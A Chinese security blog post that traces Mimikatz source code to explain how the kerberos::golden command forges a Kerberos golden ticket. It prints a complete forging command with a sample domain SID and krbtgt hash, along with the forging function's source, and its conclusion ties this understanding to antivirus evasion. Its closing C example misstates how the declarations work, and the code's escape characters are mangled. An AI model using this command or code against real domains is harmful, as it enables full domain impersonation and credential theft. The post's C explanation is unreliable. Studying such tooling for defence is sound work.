从黄金票据的生成分析Mimikatz工具底层工作原理

admin 2022年7月4日13:28:52评论107 views字数 11497阅读38分19秒阅读模式
从黄金票据的生成分析Mimikatz工具底层工作原理
从黄金票据的生成分析Mimikatz工具底层工作原理

本文作者:蛇皮怪怪

从黄金票据的生成分析Mimikatz工具底层工作原理
从黄金票据的生成分析Mimikatz工具底层工作原理

“寒灯相对记畴昔,夜雨何时听萧瑟”   --宋*苏轼



项目地址

https://github.com/gentilkiwi/mimikatz

本文是根据黄金票据生成来查看程序整体实现原理

域名称域的SID值域的KRBTGT账号的ntlmHash伪造任意用户名
#使用mimikatz生成黄金票据#用户名:administrator#域名:cyber.com#域sid:S-1-5-21-1923088019-4105411894-1236499359#krbtgt的ntlmHash:d40f0e3b1347e55dbfd6dc58e80a3b6e
#命令kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)
#例子kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi


最终生成的文件是一堆二进制信息,文本打开为乱码文件,大小为9M

从黄金票据的生成分析Mimikatz工具底层工作原理

源码审计

从黄金票据的生成分析Mimikatz工具底层工作原理

图-mimikatz源码目录

从黄金票据的生成分析Mimikatz工具底层工作原理

图-与kerberos协议相关源码

接下来从源码调试角度,观察黄金票据的生成过程

从黄金票据的生成分析Mimikatz工具底层工作原理

图-程序开始执行时的操作


//在mimikatz.c源文件中,如下是程序的起点,需要在此处下断int wmain(int argc, wchar_t * argv[]){//argv记录了传入的参数  NTSTATUS status = STATUS_SUCCESS;  int i;#if !defined(_POWERKATZ)//用于判断是cmd还是powerShell  size_t len;  wchar_t input[0xffff];#endif  mimikatz_begin();//显示mimikatz信息  for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_PROCESS_IS_TERMINATING) && (status != STATUS_THREAD_IS_TERMINATING) ; i++)  {//此处循环时执行命令行输入的指令,如果只执行mimikatz没有指令,则跳过该代码    kprintf(L"n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %sn", argv[i]);    status = mimikatz_dispatchCommand(argv[i]);  }#if !defined(_POWERKATZ)  while ((status != STATUS_PROCESS_IS_TERMINATING) && (status != STATUS_THREAD_IS_TERMINATING))  {//等待指令执行    kprintf(L"n" MIMIKATZ L" # "); fflush(stdin);//输出"mimikatz #"",并等待输入    if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'n'))    {      if(input[len - 1] == L'n')//为输入的结果添加结束标记符''        input[len - 1] = L'0';      kprintf_inputline(L"%sn", input);      status = mimikatz_dispatchCommand(input);//开始执行指令    }  }#endif  mimikatz_end(status);  return STATUS_SUCCESS;}

此时输入准备好的命令

从黄金票据的生成分析Mimikatz工具底层工作原理

图-开始生成黄金票据

//进入mimikatz_dispatchCommand函数中执行输入的指令NTSTATUS mimikatz_dispatchCommand(wchar_t * input){  NTSTATUS status = STATUS_UNSUCCESSFUL;  PWCHAR full;  if(full = kull_m_file_fullPath(input))//将输入的字符串,复制到新的空间,并将指针赋给full  {    switch(full[0])    {    case L'!'://未知操作      status = kuhl_m_kernel_do(full + 1);      break;    case L'*'://未知操作      status = kuhl_m_rpc_do(full + 1);      break;    default:      status = mimikatz_doLocal(full);//执行输入的指令 <=============重点函数=====    }    LocalFree(full);//将第六行中kull_m_file_fullPath函数分配的空间释放  }  return status;}


从黄金票据的生成分析Mimikatz工具底层工作原理

图-模块与模块功能的对应关系

从黄金票据的生成分析Mimikatz工具底层工作原理


kerberos模块中的golden功能实现逻辑


//此时执行到了mimikatz_doLocal函数NTSTATUS mimikatz_doLocal(wchar_t * input){  NTSTATUS status = STATUS_SUCCESS;  int argc;//记录参数个数    //此处的代码非常特殊,二级指针指向了一堆赋值的操作,因此在文章结果做出了测试  wchar_t ** argv = CommandLineToArgvW(input, &argc), *module = NULL, *command = NULL, *match;
unsigned short indexModule, indexCommand; BOOL moduleFound = FALSE, commandFound = FALSE; if(argv && (argc > 0)) {//如果传入了参数,则开始执行if if(match = wcsstr(argv[0], L"::")) {//wcsstr将参数中的"::golden"分离出来,用于功能查询 if(module = (wchar_t *) LocalAlloc(LPTR, (match - argv[0] + 1) * sizeof(wchar_t))) {//将::前的字符串提取出来赋值给module if((unsigned int) (match + 2 - argv[0]) < wcslen(argv[0])) command = match + 2; RtlCopyMemory(module, argv[0], (match - argv[0]) * sizeof(wchar_t)); } } else command = argv[0];//================================================//这一段代码写的很漂亮,for循环与if配合,实现模块和模块功能的查找//想看明白这段代码,需要了解模块的设计结构,具体结构在下一个代码块有详细介绍 //下述循环的mimikatz_modules记录了程序所存有的模块 for(indexModule = 0; !moduleFound && (indexModule < ARRAYSIZE(mimikatz_modules)); indexModule++) //遍历每个模块的名称,结构体中shortName记录模块名称(mimikatz_modules是模块结构体的集合) //文章结尾有模块结构详解 if(moduleFound = (!module || (_wcsicmp(module, mimikatz_modules[indexModule]->shortName) == 0))) if(command)//当发现对应的功能模块后,开始寻找对应的功能点 for(indexCommand = 0; !commandFound && (indexCommand < mimikatz_modules[indexModule]->nbCommands); indexCommand++) //遍历模块中的功能点,获取功能点的index值 if(commandFound = _wcsicmp(command, mimikatz_modules[indexModule]->commands[indexCommand].command) == 0) //找到对应的模块下的对应功能地址,将参数传递进去,因此indexModule和indexCommand不同,就指向不同的功能 //而执行kerberos::golden,需要indexModule=3,indexCommand=5 status = mimikatz_modules[indexModule]->commands[indexCommand].pCommand(argc - 1, argv + 1);//============================================== .......省略一部分代码 if(module) LocalFree(module); LocalFree(argv); } return status;}
//该数组记录程序中KUHL_M类型的模块地址const KUHL_M * mimikatz_modules[] = {  &kuhl_m_standard,  &kuhl_m_crypto,  &kuhl_m_sekurlsa,  &kuhl_m_kerberos,//kerberos模块地址  &kuhl_m_ngc,  &kuhl_m_privilege,  &kuhl_m_process,  &kuhl_m_service,  &kuhl_m_lsadump,  &kuhl_m_ts,  &kuhl_m_event,  &kuhl_m_misc,  &kuhl_m_token,  &kuhl_m_vault,  &kuhl_m_minesweeper,#if defined(NET_MODULE)  &kuhl_m_net,#endif  &kuhl_m_dpapi,  &kuhl_m_busylight,  &kuhl_m_sysenv,  &kuhl_m_sid,  &kuhl_m_iis,  &kuhl_m_rpc,  &kuhl_m_sr98,  &kuhl_m_rdm,  &kuhl_m_acr,};
//每一个模块都是一个结构体,具体如下typedef struct _KUHL_M { const wchar_t * shortName;//模块名称 const wchar_t * fullName;//包名称 const wchar_t * description;//模块说明 const unsigned short nbCommands;//指令个数 const KUHL_M_C * commands;//一系列指定 const PKUHL_M_C_FUNC_INIT pInit; const PKUHL_M_C_FUNC_INIT pClean;} KUHL_M, *PKUHL_M;
//模块的commands记录了模块的功能,也是一个结构体,具体如下typedef struct _KUHL_M_C { const PKUHL_M_C_FUNC pCommand;//功能指针,指向功能的实现地址 const wchar_t * command;//功能名称 const wchar_t * description;//功能描述} KUHL_M_C, *PKUHL_M_C;
//在kerberos功能实现,其中kuhl_m_c_kerberos指向了kuhl_m_c_kerberos[]数组,数组中存储了功能列表const KUHL_M kuhl_m_kerberos = {//kerberos实现含义,参考上述_KUHL_M结构体 L"kerberos", L"Kerberos package module", L"", ARRAYSIZE(kuhl_m_c_kerberos),//指令个数 kuhl_m_c_kerberos,//指令结构体数组地址 kuhl_m_kerberos_init, kuhl_m_kerberos_clean}
//功能列表如下const KUHL_M_C kuhl_m_c_kerberos[] = { {kuhl_m_kerberos_ptt, L"ptt", L"Pass-the-ticket [NT 6]"}, {kuhl_m_kerberos_list, L"list", L"List ticket(s)"}, {kuhl_m_kerberos_ask, L"ask", L"Ask or get TGS tickets"}, {kuhl_m_kerberos_tgt, L"tgt", L"Retrieve current TGT"}, {kuhl_m_kerberos_purge, L"purge", L"Purge ticket(s)"}, {kuhl_m_kerberos_golden, L"golden", L"Willy Wonka factory"},//index为5 {kuhl_m_kerberos_hash, L"hash", L"Hash password to keys"},#if defined(KERBEROS_TOOLS) {kuhl_m_kerberos_decode, L"decrypt", L"Decrypt encoded ticket"}, {kuhl_m_kerberos_pac_info, L"pacinfo", L"Some infos on PAC file"},#endif {kuhl_m_kerberos_ccache_ptc, L"ptc", L"Pass-the-ccache [NT6]"}, {kuhl_m_kerberos_ccache_list, L"clist", L"List tickets in MIT/Heimdall ccache"},};


//终于看到了黄金票据生成函数kuhl_m_kerberos_goldenNTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[]){//将kerberos::golden的后序参数传入,本函数中每一个被调函数功能还需要待审计  BYTE key[AES_256_KEY_LENGTH] = {0};  DWORD keyType = 0, i, j, id = 500, nbGroups, nbSids = 0, rodc = 0;  PCWCHAR szUser, szDomain, szService = NULL, szTarget = NULL, szKey = NULL, szLifetime, szSid, szId, szGroups, szSids, szClaims, szRodc, filename;  PWCHAR baseDot, netbiosDomain = NULL;  PISID pSid = NULL;  PGROUP_MEMBERSHIP groups = NULL;  PKERB_SID_AND_ATTRIBUTES sids = NULL;  PCLAIMS_SET pClaimsSet = NULL;  PBERVAL BerApp_KrbCred;  KUHL_M_KERBEROS_LIFETIME_DATA lifeTimeData;  NTSTATUS status;  PKERB_ECRYPT pCSystem;  BOOL isPtt = kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL);
kull_m_string_args_byName(argc, argv, L"ticket", &filename, L"ticket." MIMIKATZ_KERBEROS_EXT); if(kull_m_string_args_byName(argc, argv, L"admin", &szUser, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL)) { if(kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL)) { if(baseDot = wcschr(szDomain, L'.')) { if(kull_m_string_args_byName(argc, argv, L"des", &szKey, NULL)) keyType = KERB_ETYPE_DES_CBC_MD5; else if(kull_m_string_args_byName(argc, argv, L"rc4", &szKey, NULL) || kull_m_string_args_byName(argc, argv, L"krbtgt", &szKey, NULL)) keyType = KERB_ETYPE_RC4_HMAC_NT; else if(kull_m_string_args_byName(argc, argv, L"aes128", &szKey, NULL)) keyType = KERB_ETYPE_AES128_CTS_HMAC_SHA1_96; else if(kull_m_string_args_byName(argc, argv, L"aes256", &szKey, NULL)) keyType = KERB_ETYPE_AES256_CTS_HMAC_SHA1_96;
if(szKey) { kull_m_string_args_byName(argc, argv, L"service", &szService, NULL); kull_m_string_args_byName(argc, argv, L"target", &szTarget, NULL);
status = CDLocateCSystem(keyType, &pCSystem); if(NT_SUCCESS(status)) { if(kull_m_string_stringToHex(szKey, key, pCSystem->KeySize)) { kull_m_string_args_byName(argc, argv, L"startoffset", &szLifetime, L"0"); GetSystemTimeAsFileTime(&lifeTimeData.TicketStart); *(PULONGLONG) &lifeTimeData.TicketStart -= *(PULONGLONG) &lifeTimeData.TicketStart % 10000000 - ((LONGLONG) wcstol(szLifetime, NULL, 0) * 10000000 * 60); lifeTimeData.TicketRenew = lifeTimeData.TicketEnd = lifeTimeData.TicketStart; kull_m_string_args_byName(argc, argv, L"endin", &szLifetime, L"5256000"); // ~ 10 years *(PULONGLONG) &lifeTimeData.TicketEnd += (ULONGLONG) 10000000 * 60 * wcstoul(szLifetime, NULL, 0); kull_m_string_args_byName(argc, argv, L"renewmax", &szLifetime, szLifetime); *(PULONGLONG) &lifeTimeData.TicketRenew += (ULONGLONG) 10000000 * 60 * wcstoul(szLifetime, NULL, 0); kprintf(L"User : %snDomain : %s", szUser, szDomain); if(kull_m_string_args_byName(argc, argv, L"sid", &szSid, NULL)) { if(ConvertStringSidToSid(szSid, (PSID *) &pSid)) { i = (DWORD) ((PBYTE) baseDot - (PBYTE) szDomain); if(netbiosDomain = (PWCHAR) LocalAlloc(LPTR, i + sizeof(wchar_t))) for(j = 0; j < i / sizeof(wchar_t); j++) netbiosDomain[j] = towupper(szDomain[j]); if(kull_m_string_args_byName(argc, argv, L"id", &szId, NULL)) id = wcstoul(szId, NULL, 0); kull_m_string_args_byName(argc, argv, L"groups", &szGroups, NULL); kuhl_m_pac_stringToGroups(szGroups, &groups, &nbGroups); if(kull_m_string_args_byName(argc, argv, L"sids", &szSids, NULL)) kuhl_m_pac_stringToSids(szSids, &sids, &nbSids); if(kull_m_string_args_byName(argc, argv, L"claims", &szClaims, NULL)) pClaimsSet = kuhl_m_kerberos_claims_createFromString(szClaims); if(kull_m_string_args_byName(argc, argv, L"rodc", &szRodc, NULL)) rodc = wcstoul(szRodc, NULL, 0); kprintf(L" (%s)nSID : %snUser Id : %unGroups Id : *", netbiosDomain, szSid, id); for(i = 0; i < nbGroups; i++) kprintf(L"%u ", groups[i].RelativeId); if(nbSids) { kprintf(L"nExtra SIDs: "); for(i = 0; i < nbSids; i++) { kull_m_string_displaySID(sids[i].Sid); kprintf(L" ; "); } } if(pClaimsSet) { kprintf(L"nClaims :n"); kuhl_m_kerberos_claims_displayClaimsSet(pClaimsSet); } } } kprintf(L"nServiceKey: "); kull_m_string_wprintf_hex(key, pCSystem->KeySize, 0); kprintf(L" - %sn", kuhl_m_kerberos_ticket_etype(keyType)); if(szService) kprintf(L"Service : %sn", szService); if(szTarget) kprintf(L"Target : %sn", szTarget); kprintf(L"Lifetime : "); kull_m_string_displayLocalFileTime(&lifeTimeData.TicketStart); kprintf(L" ; "); kull_m_string_displayLocalFileTime(&lifeTimeData.TicketEnd); kprintf(L" ; "); kull_m_string_displayLocalFileTime(&lifeTimeData.TicketRenew); kprintf(L"n"); kprintf(L"-> Ticket : %snn", isPtt ? L"** Pass The Ticket **" : filename); if(BerApp_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, szService, szTarget, &lifeTimeData, key, pCSystem->KeySize, keyType, pSid, netbiosDomain, id, groups, nbGroups, sids, nbSids, rodc, pClaimsSet)) { if(isPtt) { if(NT_SUCCESS(kuhl_m_kerberos_ptt_data(BerApp_KrbCred->bv_val, BerApp_KrbCred->bv_len))) kprintf(L"nGolden ticket for '%s @ %s' successfully submitted for current sessionn", szUser, szDomain); } else if(kull_m_file_writeData(filename, BerApp_KrbCred->bv_val, BerApp_KrbCred->bv_len)) kprintf(L"nFinal Ticket Saved to file !n"); else PRINT_ERROR_AUTO(L"nkull_m_file_writeData"); ber_bvfree(BerApp_KrbCred); } else PRINT_ERROR(L"BerApp_KrbCred errorn"); } else PRINT_ERROR(L"Krbtgt key size length must be %u (%u bytes) for %sn", pCSystem->KeySize * 2, pCSystem->KeySize, kuhl_m_kerberos_ticket_etype(keyType)); } else PRINT_ERROR(L"Unable to locate CryptoSystem for ETYPE %u (error 0x%08x) - AES only available on NT6n", keyType, status); } else PRINT_ERROR(L"Missing krbtgt key argument (/rc4 or /aes128 or /aes256)n"); } else PRINT_ERROR(L"Domain name does not look like a FQDNn"); } else PRINT_ERROR(L"Missing domain argumentn"); } else PRINT_ERROR(L"Missing user argumentn");
if(pSid) LocalFree(pSid); if(netbiosDomain) LocalFree(netbiosDomain); if(groups && nbGroups) LocalFree(groups); if(sids && nbSids) { for(i = 0; i < nbSids; i++) LocalFree(sids[i].Sid); LocalFree(sids); } if(pClaimsSet) kuhl_m_kerberos_claims_free(pClaimsSet); return STATUS_SUCCESS;}


对上述特殊代码作出测试

//此处的代码非常特殊,二级指针指向了一堆赋值的操作//wchar_t ** argv = CommandLineToArgvW(input, &argc), *module = NULL, *command = NULL, *match;/*原因,C语言的不严谨性被赋值的一级指针必须是全局变量,如果不是全局变量而是局部变量,则无法通过编译*/#include <stdio.h>#include <malloc.h>
int *fun(){ return (int *)malloc(sizeof(int));}
int *a ;int *b ;
int main (){ int ** arr = fun(),a = NULL,b = NULL;}

总结

  • mimikatz是一款强大的内网工具,集成了大部分常用内网渗透功能

  • 该应用的每一个功能的实现代码都值得花时间审计学习,在审计过程中能很好地学习作者的编码思路和底层原理

  • 如果想要对该程序进行手动免杀操作,了解程序的架构是必不可少



学习使用 请勿违法测试用途,转载标明来源即可.

原文始发于微信公众号(0x00实验室):从黄金票据的生成分析Mimikatz工具底层工作原理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月4日13:28:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从黄金票据的生成分析Mimikatz工具底层工作原理http://cn-sec.com/archives/1155637.html

发表评论

匿名网友 填写信息